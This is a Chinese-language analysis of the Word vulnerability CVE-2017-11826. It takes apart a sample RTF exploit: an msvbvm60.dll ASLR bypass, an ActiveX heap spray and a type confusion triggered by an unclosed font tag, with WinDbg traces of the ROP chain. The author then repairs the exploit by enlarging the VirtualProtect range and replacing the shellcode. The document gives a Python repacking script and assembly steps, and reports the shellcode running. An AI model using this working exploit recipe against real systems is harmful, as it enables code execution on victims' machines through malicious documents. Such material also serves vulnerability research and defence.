最近开始分析 Office 漏洞,拿到 CVE-2017-11826 的样本后发现无法在 Office2010 上成功执行,打算分析并改造该 EXP。参考了许多资料,结合自己的理解写了本文,供大家学习和参考。
`OS: Win7 x64 SP1 Office: 2010 x86 Image name: wwlib.dll Timestamp: Sat Mar 27 23:37:07 2010 (4BAE2623) CheckSum: 0127F568 ImageSize: 0127A000 File version: 14.0.4762.1000 Product version: 14.0.4762.0 `
在 rtf 文档中搜索 object,发现嵌入了 3 个 ole 对象:
第一个对象的 CLSID 为D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731
,在注册表搜索后发现该对象位于C:\Windows\SysWOW64\msvbvm60.dll
,而该 dll 是没有 ASLR 的。
通过 ProcessExplorer 发现 word 打开 rtf 文档后确实加载了 msvbvm60.dll,且该 dll 无 ASLR,说明该 ole 对象的作用是绕过 ASLR。
使用rtfobj.py -s all
提取 ole 对象:
第一个对象经过上面的分析是用于绕过 ASLR 的,第二和第三个都是.doc 文档,使用压缩软件直接打开第二个文档,文档结构如下:
`│ [Content_Types].xml │ ├─docProps │ app.xml │ core.xml │ ├─word │ │ document.xml │ │ fontTable.xml │ │ settings.xml │ │ styles.xml │ │ webSettings.xml │ │ │ ├─activeX │ │ │ activeX1.bin │ │ │ activeX1.xml │ │ │ activeX2.xml │ │ │ ······ │ │ │ activeX40.xml │ │ │ │ │ └─_rels │ │ activeX1.xml.rels │ │ activeX2.xml.rels │ │ ······ │ │ activeX40.xml.rels │ │ │ ├─media │ │ image1.wmf │ │ │ ├─theme │ │ theme1.xml │ │ │ └─_rels │ document.xml.rels │ └─_rels .rels `
可以看出使用了 40 个 activeX.xml 文件,文件内容如下:
`<?xml version="1.0" encoding="UTF-8" standalone="no"?> <ax:ocx ax:classid="{00000000-0000-0000-0000-000000000001}" ax:persistence="persistStorage" r:id="rId1" xmlns:ax="http://schemas.microsoft.com/office/2006/activeX" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"/> `
40 个 xml 文件内容一致,加载了 CLSID 为{00000000-0000-0000-0000-000000000001}的对象,然而系统中并没有这个对象,所以并不会加载任何对象,这么做是为了提高堆喷的效率,具体原理可查看SPRAYING THE HEAP IN SECONDS USING ACTIVEX CONTROLS IN MICROSOFT OFFICE[1]一文。
而 40 个 activeX.xml.rels 的内容也完全一致:
`<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.microsoft.com/office/2006/relationships/activeXControlBinary" Target="activeX1.bin"/> </Relationships> `
都指向了 activeX1.bin 文件,因此会将 activeX1.bin 在内存中加载 40 次,以此达到堆喷的目的。
activeX1.bin 文件结构如下:
`activeX1.bin │ -文件头 │ -数据 │ │---CB 40 94 72 EC 83 88 08 CB 40 94 72 EC 83 88 08 │ │ ······ │ │---CB 40 94 72 EC 83 88 08 CB 40 94 72 EC 83 88 08 │ │---shellcode │ │---2B 0E 98 72 2B 0E 98 72 2B 0E 98 72 2B 0E 98 72 │ │ ······ │ │---2B 0E 98 72 2B 0E 98 72 2B 0E 98 72 2B 0E 98 72 │ │ ······ │ │---CB 40 94 72 EC 83 88 08 CB 40 94 72 EC 83 88 08 │ │ ······ `
看结构似乎是滑板指令加 shellcode,待调试验证。
第三个文档结构如下:
`│ [Content_Types].xml │ ├─docProps │ app.xml │ core.xml │ ├─word │ │ document.xml │ │ endnotes.xml │ │ fontTable.xml │ │ footnotes.xml │ │ settings.xml │ │ styles.xml │ │ webSettings.xml │ │ │ ├─theme │ │ theme1.xml │ │ │ └─_rels │ document.xml.rels │ └─_rels .rels `
document.xml 的内容如下:
观测到<w:font 标签内有异常字符,且标签未正常闭合,预测漏洞触发于该处。
通过静态分析了解到 RTF 文档通过内嵌 3 个 ole 对象来实现 ASLR 绕过、堆喷射和漏洞触发,ASLR 绕过是通过加载 CLSID 为D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731
的 COM 对象,将msvbvm60.dll
加载到内存中。堆喷射利用 40 个 activeX.xml.rels 指向唯一的 activeX1.bin 文件,将 activeX1.bin 文件中的数据部分,即偏移为 0x800 后的内容加载到内存中实现堆喷射。而漏洞触发部分则利用 document.xml 中的异常字符和标签触发漏洞。
使用 windbg 附加 word,打开漏洞文件:
可以看到异常因为 ecx+4 指向的内存无法访问导致错误。查看反汇编得知 ecx 的值来源于 eax,此时 eax 的值为088888ec
。再次打开漏洞文件发现 ecx 的值改变,但是 eax 的值仍为088888ec
,说明 eax 的值为故意构造。
于是打算下断在函数wwlib!DllGetClassObject+0x42d4 (71ed98b0)
查看 eax 是如何生成的。查看 wwlib 的基地址,算出函数的偏移为wwlib+004da16b
。
`0:000> lm m wwlib start end module name 71ed0000 7314a000 wwlib (export symbols) C:\PROGRA~2\MICROS~1\Office14\wwlib.dll 0:000> ? 723aa16b-71ed0000 Evaluate expression: 5087595 = 004da16b `
重新打开漏洞文档,bp wwlib+004da16b
下断:
步过两次后执行到如图所示位置时,查看 eax 所在的内存:
发现和在文档 3 中的字符串一致,接着查看 eax+44,对应的正是异常触发时 eax 的值088888ec
。
但在 xml 文件中,字符串中的异常字符的十六进制为e8a3ace0a288
:
在文件中显示的格式是 Ascii,然而在内存中显示的是 Unicode,于是将文件中的字符以 utf-8 格式转换为十六进制正是 eax 的值088888ec
:
说明通过修改该字符串可以控制 eax 的值,进而控制 eip。
在 ida 中找到奔溃函数为 sub_31A55CE6,发现变量 v3 是宽字节字符串,位于 arg2+0x18,变量 v4 是一个长度,位于 arg2+0x1c
在 windbg 设置崩溃函数起始点打印 v3 为字符串,长度为 v4:bp wwlib+385ce6 "du poi(poi(esp+8)+18) Lpoi(poi(esp+8)+1c); g;"
可以看到 v3 就是 xml 文件中的标签,在解析到 idmp 标签后程序崩溃,然而并没有看到 font 标签,于是寻找到崩溃函数的父函数 sub_3170FA5A
崩溃函数 arg2 的值为 edi,而 edi 的值为父函数的 arg2:
于是在父函数和崩溃函数同时下断,查看标签解析情况:
`bp wwlib+3fa5a ".printf \"Parent_Func: \"; du poi(poi(esp+8)+18) Lpoi(poi(esp+8)+1c); g;" bp wwlib+385ce6 ".printf \"Crash_Func: \"; du poi(poi(esp+8)+18) Lpoi(poi(esp+8)+1c); g;" `
在父函数成功解析到 font 标签,猜测因为 font 标签未闭合而导致崩溃函数解析标签出错产生漏洞,修改了 xml 文件闭合了 font 标签:
将修改后的 docx 文件嵌入到新建的 rtf 文件中,在 windbg 中调试后发现 eax 的值改变了,并且没有异常,证实因为 font 标签未闭合导致的漏洞。
继续调试发现异常触发点的 eax 和 ecx 都是来自于 esi,而 esi 为漏洞函数的 arg1:
因此在漏洞函数打印标签以及[[esi+17f0]]、[[esi+17f0]+8]、[[esi+17f0]+c]和[esi+17f0]的值:
`bp wwlib+385ce6 "du poi(poi(esp+8)+18) Lpoi(poi(esp+8)+1c); r $t0=poi(poi(esp+4)+17f0); dd poi($t0) L1; dd poi($t0)+8 L1; dd poi($t0)+c L1; dd $t0 L1; .printf\"\\n\"; g;" `
打印出的结构就是 Taglist 结构体,具体结构参考 goabout2 的office CVE-2017-11826 杂谈[2]一文。
接着调试异常触发点上的函数,发现函数功能为通过层级标签获取 TagObject Array[Index-2]:
继续向上追溯,发现函数 GetTagObject 也调用了 GetTagObjectByIndex,通过分析发现该函数获取的是 TagObject Array[Index-1]的地址:
分析到这里,漏洞产生的原因也就出来了,由于 word 每解析一个标签,Current_Index 的值就加一,当解析到闭合标签,Current_Index 值会减 1。由于构造了没有闭合的 font 标签,因此导致在解析 idmap 标签时比正常文件的 Current_Index 多一,导致原本应该获取 OLEObject 标签的 TagObject 变成获取了 font 的 TagObject,因此造成了标签类型混淆导致漏洞的发生。
将标签层级和 xml 文件标签对应:
可以证实确实因为 Current_Index 值比正常文件的多一导致的类型混淆。
在内存中查看当解析 idmap 层级为 6 时 Taglist 的内存结构:
`> bp wwlib+4da16b > g Breakpoint 1 hit eax=070f1800 ebx=00000000 ecx=0225466c edx=00000004 esi=0225466c edi=070f19dc eip=6f95a16b esp=002cf428 ebp=002cf490 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 wwlib!DllGetLCID+0x2cc775: 6f95a16b e840f7b2ff call wwlib!DllGetClassObject+0x42d4 (6f4898b0) > ub $ip L8 wwlib!DllGetLCID+0x2cc75d: 6f95a153 83780401 cmp dword ptr [eax+4],1 6f95a157 0f85f5bdeaff jne wwlib!DllGetLCID+0x17855c (6f805f52) 6f95a15d 8bb6f0170000 mov esi,dword ptr [esi+17F0h] 6f95a163 8b06 mov eax,dword ptr [esi] 6f95a165 8b10 mov edx,dword ptr [eax] 6f95a167 4a dec edx 6f95a168 4a dec edx 6f95a169 8bce mov ecx,esi `
此时 eax 的值即为 Taglist,因此查看 eax 指向的 Taglist 结构:
此时 TagObject[4]+0x44 的值为0x090b4000
,查看该值在内存中存储的数据:
发现[[TagObject[4]+0x44]+0x44]的值正是 xml 文件中 font 标签构造的固定地址,自此漏洞部分分析完毕。
先启动 word 然后使用 windbg 附加会导致堆喷无法成功,继而无法分析漏洞利用部分。因此使用 gflags.exe 让调试器直接加载 winword.exe:
设置断点在异常触发点:
`> bp wwlib+4da184 > g Breakpoint 0 hit eax=088888ec ebx=00000000 ecx=088883ec edx=00000004 esi=004b44b4 edi=0340cddc eip=6e2da184 esp=002f5f14 ebp=002f5f7c iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 wwlib!DllGetLCID+0x2cc78e: 6e2da184 50 push eax 0:000> u $ip wwlib!DllGetLCID+0x2cc78e: 6e2da184 50 push eax 6e2da185 ff5104 call dword ptr [ecx+4] 6e2da188 e9fabdeaff jmp wwlib!DllGetLCID+0x178591 (6e185f87) 6e2da18d 83f802 cmp eax,2 6e2da190 750f jne wwlib!DllGetLCID+0x2cc7ab (6e2da1a1) 6e2da192 83c624 add esi,24h 6e2da195 56 push esi 6e2da196 52 push edx > dd ecx+4 088883f0 72980e2b 72980e2b 72980e2b 72980e2b 08888400 72980e2b 72980e2b 72980e2b 72980e2b 08888410 72980e2b 72980e2b 72980e2b 72980e2b 08888420 72980e2b 72980e2b 72980e2b 72980e2b 08888430 72980e2b 72980e2b 72980e2b 72980e2b 08888440 72980e2b 72980e2b 72980e2b 72980e2b 08888450 72980e2b 72980e2b 72980e2b 72980e2b 08888460 72980e2b 72980e2b 72980e2b 72980e2b `
发现 exc+4 的值为 activeX1.bin 中 shellcode 下方的填充,说明已经成功堆喷。
步入[exc+4]后发现来到了 msvbvm60.dll,已经进入了 ROP 链:
`> t eax=088888ec ebx=00000000 ecx=088883ec edx=00000004 esi=004c44b4 edi=0043cddc eip=72980e2b esp=00385a18 ebp=00385a88 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 msvbvm60!IID_IVbaHost+0x127eb: 72980e2b 94 xchg eax,esp `
而第一条指令则是用来栈迁移,在之前已经将 eax 入栈,而 eax 的值正是构造好的0x088888ec
,执行指令后,esp 的值已经变成了0x088888ec
:
而 eax 中的内容刚好位于 shellcode 的上方,此时 ROP 链为滑板指令,循环执行pop eax
和ret
,此时可以下断bp 729440cc ".if(esp=08888f48){}.else{gc}"
停在了滑板指令结束的位置:
当执行到最后一次滑板指令时,会将0x729410d0
放入 eax 中,而该值是 msvbvm60.dll 的 IAT 表中的数据,查看后存储的是 VirtualProtect 的地址:
紧接着通过 ret 跳转到 ROP 指令jmp [eax]
执行 VirtualProtect,而此时栈中为构造好的 VirtualProtect 的参数:
再次跳转后进入到 kernelbase.dll 的 VirtualProtect:
执行后会跳转到0x08888f70
执行 shellcode:
然而 VirtualProtect 的修改的内存范围只有0x08888c90 - 08888e91
,而 shellcode 却位于0x08888f70
,因此会触发 c0000005 访问异常,shellcode 执行失败:
activeX1.bin 文件中布局如下:
由于原本 VirtualProtect 修改的范围为 0x201 不够,因此修改为 0x1000 确保能够覆盖 shellcode,随后将 shellcode 替换为自己的 shellcode 即可。
将修改好的 activeX1.bin 文件替换到 rtfobj.py 提取出来进行堆喷的文档中,并修改为.docx,脚本参考Exploiting Word: CVE-2017-11826[3]一文,替换脚本如下:
`import os import shutil import zipfile template_path = "" final_docx_name = "" activeX_bin_path = "" def pack_file_to_open_xml_docx(template_path, final_docx_name, activeX_bin_path): if not os.path.exists(template_path) or not os.path.exists(activeX_bin_path): print("Template docx file or activeX.bin file not exist.") return with open(activeX_bin_path, "rb") as f_: object_bin_data = f_.read() zip_docx = template_path + ".zip" current_dir = os.path.abspath(os.path.dirname(__file__)) new_path = os.path.join(current_dir, "exp", os.path.basename(zip_docx)) if os.path.exists(new_path): os.remove(new_path) shutil.copy(template_path, new_path) zip_docx = new_path # open temp docx and a copy for modification zin = zipfile.ZipFile(zip_docx, 'r') zip_docx_copy = zip_docx + "_copy_" zout = zipfile.ZipFile(zip_docx_copy, "w") # modify the docx template with exploit for item in zin.infolist (): if item.filename.find("activeX1") >= 0 and item.filename.find(".bin") >= 0: pass else: buffer = zin.read(item.filename) zout.writestr(item, buffer) # use existing file zout.writestr("word/activeX/" + "activeX1.bin", object_bin_data) zout.close () zin.close () # convert to docx os.rename (zip_docx_copy, final_docx_name) os.remove(zip_docx) pack_file_to_open_xml_docx(template_path, final_docx_name, activeX_bin_path) `
新建一个 rtf 文件,将替换好的 docx 文件添加到 rtf 文件中,保存后使用 010Editor 打开,搜索 object,将{\object 和{*\objdata 的全部内容复制:
再新建一个 rtf 文件,按照堆喷射、Bypass ASLR 和漏洞触发的顺序添加三个对象。堆喷射的内容就是上方复制好的内容,其他两个可以直接在原 EXP 中复制过来即可,最终 EXP 的结构如下所示:
最终成功执行了 shellcode:
[1]
SPRAYING THE HEAP IN SECONDS USING ACTIVEX CONTROLS IN MICROSOFT OFFICE: https://www.greyhathacker.net/?p=911
[2]
office CVE-2017-11826 杂谈: https://www.cnblogs.com/goabout2/p/8186018.html
[3]
Exploiting Word: CVE-2017-11826: https://www.tarlogic.com/blog/exploiting-word-cve-2017-11826/
[4]
cve-2017-11826漏洞分析、利用及动态检测: https://www.anquanke.com/post/id/87122
[5]
open xml标签解析类漏洞分析思路: https://www.anquanke.com/post/id/103080